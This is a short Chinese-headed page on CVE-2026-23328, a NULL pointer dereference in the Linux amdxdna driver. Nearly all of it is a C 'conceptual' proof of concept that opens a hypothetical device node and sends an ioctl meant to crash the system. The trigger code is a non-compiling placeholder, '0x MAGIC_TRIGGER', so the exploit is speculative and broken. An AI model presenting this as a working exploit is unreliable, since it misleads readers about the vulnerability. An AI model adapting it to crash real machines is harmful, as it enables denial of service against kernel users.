CVE-2026-23328: Linux内核amdxdna驱动空指针解引用漏洞

#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Conceptual Proof of Concept for CVE-2026-23328 // This code attempts to trigger the NULL pointer dereference in amdxdna. #define DEVICE_PATH "/dev/accel/amdxdna" // Hypothetical device node int main() { int fd; printf("[+] Attempting to open %s...\n", DEVICE_PATH); // Open the vulnerable device driver fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Triggering firmware error path...\n"); // Send malicious IOCTL or write operation to trigger error in aie2_send_mgmt_msg_wait // Note: Actual command codes depend on specific driver implementation. unsigned long trigger_cmd = 0x MAGIC_TRIGGER; char buf[64] = {0}; if (ioctl(fd, trigger_cmd, buf) < 0) { // Error expected here to set mgmt_chann to NULL printf("[+] IOCTL failed (mgmt_chann likely set to NULL)\n"); } // Trigger hardware stop routine which accesses the NULL pointer printf("[+] Closing device to invoke aie2_hw_stop...\n"); close(fd); printf("[+] If successful, system should crash now.\n"); return 0; }